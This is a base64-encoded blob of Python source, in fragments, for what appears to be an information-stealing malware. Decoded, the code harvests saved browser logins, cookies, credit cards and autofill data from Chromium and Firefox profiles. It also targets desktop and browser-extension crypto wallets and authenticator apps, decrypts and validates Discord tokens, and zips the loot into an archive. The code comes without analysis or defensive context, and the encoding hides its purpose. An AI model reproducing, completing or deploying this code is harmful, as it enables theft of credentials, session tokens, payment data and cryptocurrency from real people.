Cdjb29raWVzLnNxbGl0ZScpfT9tb2RlPXJvIiwgdXJpPVRydWUpCiAgICAgICAgY3Vyc29yID0gY29ubi5jdXJzb3IoKQogICAgZXhjZXB0IHNxbGl0ZTMuRXJyb3I6CiAgICAgICAgcmV0dXJuIGNvdW50CiAgICBmb3IgcHJvZmlsZSBpbiBwcm9maWxlczoKICAgICAgICBjb29raWVzX2RiID0gb3MucGF0aC5qb2luKHByb2ZpbGUsICJjb29raWVzLnNxbGl0ZSIpCiAgICAgICAgaWYgbm90IG9zLnBhdGguaXNmaWxlKGNvb2tpZXNfZGIpOgogICAgICAgICAgICBjb250aW51ZQogICAgICAgIHRyeToKICAgICAgICAgICAgY3Vyc29yLmV4ZWN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d3Nlcl9wYXRoLCBwcm9maWxlLCBjaF9tYXN0ZXJfa2V5KQogICAgICAgIHRvdGFsX2NoX2xvZ2luc19jb3VudCArPSBjb3VudFAKICAgICAgICAKICAgICAgICBjb3VudEMgPSBnZXRfY2hfY29va2llcyhicm93c2VyLCBicm93c2VyX3BhdGgsIHByb2ZpbGUsIGNoX21hc3Rlcl9rZXkpCiAgICAgICAgdG90YWxfY2hfY29va2llc19jb3VudCArPSBjb3VudEMKCiAgICAgICAgY291bnRDQyA9IGdldF9jaF9jY2FyZHMoYnJvd3NlciwgYnJvd3Nlcl9wYXRoLCBwcm9maWxlLCBjaF9tYXN0ZXJfa2V5KQogICAgICAgIHRvdGFsX2NoX2NjYXJkc19jb3VudCArPSBjb3VudENDCgogICAgICAgIGNvdW50QUYgPSBnZXRfY2hfYXV0b2ZpbGwoYnJvd3NlciwgYnJvd3Nlcl9wYXRoLCBwcm9maWxlKQogICAgICAgIHRvdGFsX2NoX2F1dG9maWxsX2NvdW50ICs9IGNvdW50QUYKCmZvciBicm93c2VyLCBwcm9maWxlcyBpbiBnY2tfYnJvd3Nlcl9wcm9maWxlcy5pdGVtcygpOgogICAgZm9yIHByb2ZpbGUgaW4gcHJvZmlsZXM6CiAgICAgICAgcHJvZmlsZV9uYW1lID0gb3MucGF0aC5iYXNlbmFtZShwcm9maWxlKQoKICAgICAgICBsb2dpbnNfY291bnQgPSBzYXZlX2dja19sb2dpbl9kYXRhKFtwcm9maWxlXSwgcHJvZmlsZV9uYW1lLCBicm93c2VyKQogICAgICAgIHRvdGFsX2dja19sb2dpbnNfY291bnQgKz0gbG9naW5zX2NvdW50CgogICAgICAgIGNvb2tpZXNfY291bnQgPSBzYXZlX2dja19jb29raWVzKFtwcm9maWxlXSwgcHJvZmlsZV9uYW1lLCBicm93c2VyKQogICAgICAgIHRvdGFsX2dja19jb29raWVzX2NvdW50ICs9IGNvb2tpZXNfY291bnQKCnRvdGFsX2Jyb3dzZXJzX2xvZ2luc19jb3VudCA9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lcnR5LmpheHhcXEluZGV4ZWREQiI6IHsKICAgICAgICAiY2F0ZWdvcnkiOiAiRGVza3RvcCBXYWxsZXRzIiwKICAgICAgICAiYXJjaGl2ZV9uYW1lIjogIkpheHgiLAogICAgfSwKICAgICAgICBmIntBcHBEYXRhfVxcSmF4eFxcTG9jYWwgU3RvcmFnZVxcbGV2ZWxkYiI6IHsKICAgICAgICAiY2F0ZWdvcnkiOiAiRGVza3RvcCBXYWxsZXRzIiwKICAgICAgICAiYXJjaGl2ZV9uYW1lIjogIkpheHgiLAogICAgfSwKICAgICAgICBmIntMb2NhbEFwcERhdGF9XFxDb2lub21pXFxDb2lub21pIjogewogICAgICAgICJjYXRlZ29yeSI6ICJEZXNrdG9wIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiQ29pbm9taSIsCiAgICB9LAogICAgICAgIGYie0FwcERhdGF9XFxCaW5hbmNlIjogewogICAgICAgICJjYXRlZ29yeSI6ICJEZXNrdG9wIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiQmluYW5jZSIsCiAgICB9LAogICAgICAgIGYie0FwcERhdGF9XFxBdXRoeSBEZXNrdG9wXFxMb2NhbCBTdG9yYWdlXFxsZXZlbGRiIjogewogICAgICAgICJjYXRlZ29yeSI6ICJQYXNzd29yZCBNYW5hZ2VycyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJBdXRoeSIsCiAgICB9LAogICAgICAgIGYie0FwcERhdGF9XFxXaW5BdXRoIjogewogICAgICAgICJjYXRlZ29yeSI6ICJQYXNzd29yZCBNYW5hZ2VycyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJXaW5BdXRoIiwKICAgIH0sCn0KCmNoX2V4dF9mb2xkZXJzID0gewogICAgImlvcGlnb2lrZWtmY3BjYXBqbGtjZGxva2hlaWNraHBjIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZ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lIFdhbGxldCIsCiAgICB9LAogICAgImRrZGVkbHBnZG1ta2tmamFiZmZlZ2FuaWVhbWZrbGttIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiQ3lhbm8gV2FsbGV0IiwKICAgIH0sCiAgICAib2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWwiOiB7CiAgICAgICAgImNhdGVnb3J5IjogIlBhc3N3b3JkIE1hbmFnZXJzIiwKICAgICAgICAiYXJjaGl2ZV9uYW1lIjogIkVPUyBBdXRoZW50aWNhdG9yIiwKICAgIH0sCiAgICAiY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmsiOiB7CiAgICAgICAgImNhdGVnb3J5IjogIkJyb3dzZXIgV2FsbGV0cyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJFVkVSIFdhbGxldCIsCiAgICB9LAogICAgImtrcGxsa29kamVsb2lkaWVlZG9qb2dhY2ZocGFpaG9oIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiRW5rcnlwdCIsCiAgICB9LAogICAgImRnY2dvZmRoaGRkYm1tcG9sbWdjZG9maW9oZ2tscGtrIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiRW5rcnlwdCIsCiAgICB9LAogICAgImttaGNpaHBlYmZtcGdtaWhia2lwbWpsbW1pb2FtZWthIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiRXRlcm5sIiwKICAgIH0sCiAgICAiYWhvbHBmZGlhbGpnamZob21paGtqYm1namlkbGNkbm8iOiB7CiAgICAgICAgImNhdGVnb3J5IjogIkJyb3dzZXIgV2FsbG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byI6IHsKICAgICAgICAiY2F0ZWdvcnkiOiAiQnJvd3NlciBXYWxsZXRzIiwKICAgICAgICAiYXJjaGl2ZV9uYW1lIjogIlVuaVNhdCBXYWxsZXQiLAogICAgfSwKICAgICAgICAiaWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGciOiB7CiAgICAgICAgImNhdGVnb3J5IjogIkJyb3dzZXIgV2FsbGV0cyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJYdmVyc2UgV2FsbGV0IiwKICAgIH0sCiAgICAgICAgImRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiTXVsdGl2ZXJzWCBEZUZpIFdhbGxldCIsCiAgICB9LAogICAgICAgICJnZmVuYWpham5qam1tZG9qaGRqbW5uZ29ta2hsbmZqbCI6IHsKICAgICAgICAiY2F0ZWdvcnkiOiAiQnJvd3NlciBXYWxsZXRzIiwKICAgICAgICAiYXJjaGl2ZV9uYW1lIjogIkVua3J5cHQgV2FsbGV0IiwKICAgIH0sCiAgICAgICAgImtrcGxsa29kamVsb2lkaWVlZG9qb2dhY2ZocGFpaG9oIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiRW5rcnlwdCBXYWxsZXQiLAogICAgfSwKICAgICAgICAia2dkaWprY2ZpZ2xpamhhZ2xpYmFpZGJpcGllampmZHAiOiB7CiAgICAgICAgImNhdGVnb3J5IjogIkJyb3dzZXIgV2FsbGV0cyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJDaXJ1cyBXYWxsZXQiLAogICAgfSwKICAgICAgICAibGNmamVra25namdlZHBjbGFuamdpb2FocGZocGRob2oiOiB7CiAgICAgICAgImNhdGVnb3J5IjogIkJyb3dzZXIgV2F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lIjogIlNvbGZsYXJlIFdhbGxldCIsCiAgICB9LAogICAgImFpaWZibmJmb2JwbWVla2lwaGVlaWppbWRwbmxwZ3BwIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiU3RhdGlvbiBXYWxsZXQiLAogICAgfSwKICAgICJvcGNncGZtaXBpZGJncGVuaG1ham9hanBib2JwcGRpbCI6IHsKICAgICAgICAiY2F0ZWdvcnkiOiAiQnJvd3NlciBXYWxsZXRzIiwKICAgICAgICAiYXJjaGl2ZV9uYW1lIjogIlN1aSBXYWxsZXQiLAogICAgfSwKICAgICJlYWphZm9taG1raXBiam1mbWhlYmVtb2xrY2ljZ2ZtZCI6IHsKICAgICAgICAiY2F0ZWdvcnkiOiAiQnJvd3NlciBXYWxsZXRzIiwKICAgICAgICAiYXJjaGl2ZV9uYW1lIjogIlRhbGx5IEhvIiwKICAgIH0sCiAgICAib29ramxia2lpamluaHBtbmpmZmNvZmpvbmJmYmdhb2MiOiB7CiAgICAgICAgImNhdGVnb3J5IjogIkJyb3dzZXIgV2FsbGV0cyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJUZW1wbGUiLAogICAgfSwKICAgICJtbmZpZmVma2FqZ29ma2Nqa2VtaWRpYWVjb2Nua2plaCI6IHsKICAgICAgICAiY2F0ZWdvcnkiOiAiQnJvd3NlciBXYWxsZXRzIiwKICAgICAgICAiYXJjaGl2ZV9uYW1lIjogIlRlekJveCIsCiAgICB9LAogICAgImltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrIjogewogICAgICAgICJjYXRlZ29yeSI6ICJQYXNzd29yZCBNYW5hZ2VycyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJUcmV6b3IgUGFzc3dvcmQgTWFuYWdlciIsCiAgICB9LAogICAgImlibmVqZGZqbW1rcGNubHBlYmtsbW5rb2VvaWhvZmVjIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiVHJvbiBMaW5rIiwKICAgIH0sCiAgICAicG5uZHBsY2JrYWtjcGxram5vbGdia2RnamlramVkbm0iOiB7CiAgICAgICAgImNhdGVnb3J5IjogIkJyb3dzZXIgV2FsbGV0cyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJUcm9uaXVtIiwKICAgIH0sCiAgICAiZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGgiOiB7CiAgICAgICAgImNhdGVnb3J5IjogIkJyb3dzZXIgV2FsbGV0cyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJUcnVzdCBXYWxsZXQiLAogICAgfSwKICAgICJpYmxqb2NkZGFnamdobWxwZ2loYWhhbWNnaGZnZ2NqYyI6IHsKICAgICAgICAiY2F0ZWdvcnkiOiAiQnJvd3NlciBXYWxsZXRzIiwKICAgICAgICAiYXJjaGl2ZV9uYW1lIjogIlZpcmdvIFdhbGxldCIsCiAgICB9LAogICAgImZraGViY2lsYWZvY2pobmxjbmdvZ2VrbGptbGxnZGhkIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiV0FHTUlzd2FwLmlvIFdhbGxldCIsCiAgICB9LAogICAgImFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamloIjogewogICAgICAgICJjYXRlZ29yeSI6ICJCcm93c2VyIFdhbGxldHMiLAogICAgICAgICJhcmNoaXZlX25hbWUiOiAiV29tYmF0IiwKICAgIH0sCiAgICAiaG1lb2JuZm5mY21ka2RjbWxibGdhZ21mcGZib2llYWYiOiB7CiAgICAgICAgImNhdGVnb3J5IjogIkJyb3dzZXIgV2FsbGV0cyIsCiAgICAgICAgImFyY2hpdmVfbmFtZSI6ICJYREVGSSBXYWxsZXQiLAogICAgfSwKICAgICJmZm5iZWxmZ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hbGxfdmFsaWRfZGNfdG9rZW5zKCk6CiAgICB2YWxpZF90b2tlbnMgPSBzZXQoKQoKICAgIGZvciBicm93c2VyIGluIGF2YWlsYWJsZV9wYXRoOgogICAgICAgIGJyb3dzZXJfcGF0aCA9IGNoX2RjX2Jyb3dzZXJzW2Jyb3dzZXJdCiAgICAgICAgY2xlYW5lZCA9IFtdCiAgICAgICAgdHJ5OgogICAgICAgICAgICBpZiBicm93c2VyID09ICJEaXNjb3JkIiBvciBicm93c2VyID09ICJEaXNjb3JkIENhbmFyeSIgb3IgYnJvd3NlciA9PSAiTGlnaHRjb3JkIiBvciBicm93c2VyID09ICJEaXNjb3JkIFBUQiI6CiAgICAgICAgICAgICAgICBwYXRocyA9IFticm93c2VyX3BhdGhdCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBwYXRocyA9IFtmInticm93c2VyX3BhdGh9XFxEZWZhdWx0Il0gKyBnbG9iLmdsb2IoZiJ7YnJvd3Nlcl9wYXRofVxcUHJvZmlsZSoiKQogICAgICAgICAgICBmb3IgcCBpbiBwYXRoczoKICAgICAgICAgICAgICAgIGxldl9kYiA9IGYie3B9XFxMb2NhbCBTdG9yYWdlXFxsZXZlbGRiXFwiCiAgICAgICAgICAgICAgICBsb2Nfc3RhdGUgPSBmIntwfVxcTG9jYWwgU3RhdGUiCiAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhsb2Nfc3RhdGUpOgogICAgICAgICAgICAgICAgICAgIHdpdGggb3Blbihsb2Nfc3RhdGUsICJyIikgYXMgZmlsZToKICAgICAgICAgICAgICAgICAgICAgICAga2V5ID0ganNvbi5sb2FkcyhmaWxlLnJlYWQoKSlbJ29zX2NyeXB0J11bJ2VuY3J5cHRlZF9rZXknXQogICAgICAgICAgICAgICAgICAgIGZvciBmaWxlIGluIG9zLmxpc3RkaXIobGV2X2RiKToKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2l0aCBvcGVuKGxldl9kYiArIGZpbGUsICJyIiwgZXJyb3JzPSdpZ25vcmUnKSBhcyBmaWxlczoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgeCBpbiBmaWxlcy5yZWFkbGluZXMoKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeC5zdHJpcCgpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciB2YWx1ZXMgaW4gcmUuZmluZGFsbChyImRRdzR3OVdnWGNROlteLipcWycoLiopJ1xdLiokXVteXCJdKiIsIHgpOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xlYW5lZC5hcHBlbmQodmFsdWVzLnJlcGxhY2UoIlxcIiwgIiIpKQogICAgICAgICAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZQogICAgICAgICAgICAgICAgICAgIGZvciB0b2tlbiBpbiBjbGVhbmVkOgogICAgICAgICAgICAgICAgICAgICAgICBkZWNyeXB0ZWRfdG9rZW4gPSBkZWNyeXB0X2RjX3Rva2VucyhiYXNlNjQuYjY0ZGVjb2RlKHRva2VuLnNwbGl0KCdkUXc0dzlXZ1hjUTonKVsxXSksIGJhc2U2NC5iNjRkZWNvZGUoa2V5KVs1Ol0pCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIGRlY3J5cHRlZF90b2tlbiBhbmQgdmFsaWRhdGVfZGNfdG9rZW4oZGVjcnlwdGVkX3Rva2VuKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkX3Rva2Vucy5hZGQoKGRlY3J5cHRlZF90b2tlbiwgYnJvd3NlcikpCiAgICAgICAgICAgICAgICBmb3IgZmlsZV9uYW1lIGluIG9zLmxpc3RkaXIobGV2X2RiKToKICAgICAgICAgICAgICAgICAgICBpZiBub3QgZmlsZV9uYW1lLmVuZHN3aXRoKCcubG9nJykgYW5kIG5vdCBmaWxlX25hbWUuZW5kc3dpdGgoJy5sZGInKToKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgICAgICAgICBmb3IgbGluZSBpbiBbeC5zdHJpcCgpIGZvciB4IGluIG9wZW4oZid7bGV2X2RifVxce2ZpbGVfbmFtZX0nLCBlcnJvcnM9J2lnbm9yZScpLnJlYWRsaW5lcygpIGlmIHguc3RyaXAoKV06CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciByZWdleCBpbiAocidbXHctXXsyNH1cLltcdy1dezZ9XC5bXHctXXsyN30nLCByJ21mYVwuW1x3LV17ODR9Jyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgdG9rZW4gaW4gcmUuZmluZGFsbChyZWdleCwgbGluZSk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgdmFsaWRhdGVfZGNfdG9rZW4odG9rZW4pOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZF90b2tlbnMuYWRkKCh0b2tlbiwgYnJvd3NlcikpCiAgICAgICAgZXhjZXB0IEZpbGVOb3RGb3VuZEVycm9yOgogICAgICAgICAgICBjb250aW51ZQogICAgcmV0dXJuIHZhbGlkX3Rva2VucwoKdG9rZW5zID0gZ2V0X2FsbF92YWxpZF9kY190b2tlbnMoKQoKbWFpbl9kY190b2tlbiA9IE5vbmUKYWxsX2RjX3Rva2VucyA9ICIiCmZvciB0b2tlbiwgcGF0aCBpbiB0b2tlbnM6CiAgICBpZiBwYXRoID09ICJEaXNjb3JkIiBhbmQgbm90IG1haW5fZGNfdG9rZW46CiAgICAgICAgbWFpbl9kY190b2tlbiA9IHRva2VuCiAgICBhbGxfZGNfdG9rZW5zICs9IGYiLSB7cGF0aH06IHt0b2tlbn1cbiIKCmFsbF9kY190b2tlbnNfY291bnQgPSBsZW4odG9rZW5zKQoKZm9sZGVyc190b19hcmNoaXZlID0gW10KZmlsZXNfdG9fYXJjaGl2ZSA9IFtdC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ZXNrdG9wIiwgZiJ7VVNSfVxcRG9jdW1lbnRzIiwgZiJ7VVNSfVxcRG93bmxvYWRzIiwgZiJ7VVNSfVxcT25lRHJpdmUiLCJEOlxcIiwgIkU6XFwiXToKIyAgICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHNlYXJjaF9wYXRoLCB0b3Bkb3duPVRydWUpOgojICAgICAgICAgICAgIGlmICJkYl9tYXhjYXJlLnNxbGl0ZSIgaW4gZmlsZXM6CiMgICAgICAgICAgICAgICAgIGRiX3BhdGggPSBvcy5wYXRoLmpvaW4ocm9vdCwgImRiX21heGNhcmUuc3FsaXRlIikKIyAgICAgICAgICAgICAgICAgY29ubiA9IHNxbGl0ZTMuY29ubmVjdChkYl9wYXRoKQojICAgICAgICAgICAgICAgICBjID0gY29ubi5jdXJzb3IoKQojICAgICAgICAgICAgICAgICBjLmV4ZWN1dGUoIlNFTEVDVCB1aWQsIHBhc3MsIGZhMiwgZW1haWwsIHBhc3NtYWlsLCBjb29raWUxLCB0b2tlbiwgaW5mbyBGUk9NIGFjY291bnRzIikKIyAgICAgICAgICAgICAgICAgcm93cyA9IGMuZmV0Y2hhbGwoKQojICAgICAgICAgICAgICAgICBmb3IgciBpbiByb3dzOgojICAgICAgICAgICAgICAgICAgICAgdWlkLCBwYXNzd29yZCwgZmEyLCBlbWFpbCwgcGFzc21haWwsIGNvb2tpZSwgdG9rZW4sIGluZm8gPSByCiMgICAgICAgICAgICAgICAgICAgICBpZiBpbmZvID09ICdMaXZlJzoKIyAgICAgICAgICAgICAgICAgICAgICAgICByZXN1bHQgKz0gZiJ7dWlkfXx7cGFzc3dvcmR9fHtmYTJ9fHtlbWFpbH18e3Bhc3NtYWlsfXx7Y29va2llfXx7dG9rZW59XG4iCiMgICAgICAgICAgICAgICAgICAgICAgICAgY291bnQgKz0gMQojICAgICAgICAgICAgICAgICBjb25uLmNsb3NlKCkKIyAgICAgcmV0dXJuIHJlc3VsdCwgY291bnQKCm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hpdmVfZmlsZV9wYXRoID0gb3MucGF0aC5qb2luKCJCcm93c2VycyBEYXRhIiwgcmVsYXRpdmVfcGF0aCkKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgemlwX2ZpbGUud3JpdGUoZmlsZV9wYXRoLCBhcmNoaXZlX2ZpbGVfcGF0aCkKICAgICAgICAgICAgZXhjZXB0OgogICAgICAgICAgICAgICAgY29udGludWUKCiAgICAgICAgZm9yIGRpciBpbiBkaXJzOgogICAgICAgICAgICBkaXJfcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBkaXIpCiAgICAgICAgICAgIHJlbGF0aXZlX3BhdGggPSBvcy5wYXRoLnJlbHBhdGgoZGlyX3BhdGgsIFBhdGhCcm93c2VyKQogICAgICAgICAgICBhcmNoaXZlX2Rpcl9wYXRoID0gb3MucGF0aC5qb2luKCJCcm93c2VycyBEYXRhIiwgcmVsYXRpdmVfcGF0aCkKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgemlwX2ZpbGUud3JpdGUoZGlyX3BhdGgsIGFyY2hpdmVfZGlyX3BhdGgpCiAgICAgICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgICAgIGNvbnRpbnVlCgogICAgZm9yIGZvbGRlcl9wYXRoLCBhcmNoaXZlX3N1Yl9wYXRoIGluIGZvbGRlcnNfdG9fYXJjaGl2ZToKICAgICAgICBleGNsdWRlZF9kaXJzID0gW10KICAgICAgICBmb3IgZGlyX25hbWUgaW4gb3MubGlzdGRpcihmb2xkZXJfcGF0aCk6CiAgICAgICAgICAgIGlmIGRpcl9uYW1lLnN0YXJ0c3dpdGgoInVzZXJfZGF0YSIpOgogICAgICAgICAgICAgICAgZXhjbHVkZWRfZGlycy5hcHBlbmQoZGlyX25hbWUpCiAgICAgICAgZGlyc190b19leGNsdWRlID0gc2V0KGV4Y2x1ZGVkX2RpcnMpCgogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvbGRlcl9wYXRoKToKICAgICAgICAgICAgZGlyc1s6XSA9IFtkIGZvciBkIGluIGRpcnMgaWYgZCBub3QgaW4gZGlyc190b19leGNsdWRlIGFuZCBkIG5vdCBpbiBbImVtb2ppIiwgInRkdW1teSIsICJkdW1wcyIsICJ3ZWJ2aWV3IiwgInVwZGF0ZS1jYWNoZSIsICJHUFVDYWNoZSIsICJEYXduQ2FjaGUiLCAidGVtcCIsICJDb2RlIENhY2hlIiwgIkNhY2hlIl1dCiAgICAgICAgICAgIGZvciBmaWxlIGluIGZpbGVzOgogICAgICAgICAgICAgICAgZmlsZV9wYXRoID0gb3MucGF0aC5qb2luKHJvb3QsIGZpbGUpCiAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmlzZmlsZShmaWxlX3BhdGgpIGFuZCAiLnppcCIgbm90IGluIGZpbGU6CiAgICAgICAgICAgICAgICAgICAgcmVsYXRpdmVfcGF0aCA9IG9zLnBhdGgucmVscGF0aChmaWxlX3BhdGgsIGZvbGRlcl9wYXRoKQogICAgICAgICAgICAgICAgICAgIGFyY2hpdmVfZmlsZV9wYXRoID0gb3MucGF0aC5qb2luKGFyY2hpdmVfc3ViX3BhdGgsIHJlbGF0aXZlX3BhdGgpCiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICB6aXBfZmlsZS53cml0ZShmaWxlX3BhdGgsIGFyY2hpdmVfZmlsZV9wYXRoKQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWUKCiAgICAgICAgICAgIGZvciBkaXIgaW4gZGlyczoKICAgICAgICAgICAgICAgIGRpcl9wYXRoID0gb3MucGF0aC5qb2luKHJvb3QsIGRpcikKICAgICAgICAgICAgICAgIGlmIG9zLnBhdGguaXNkaXIoZGlyX3BhdGgpOgogICAgICAgICAgICAgICAgICAgIHJlbGF0aXZlX3BhdGggPSBvcy5wYXRoLnJlbHBhdGgoZGlyX3BhdGgsIGZvbGR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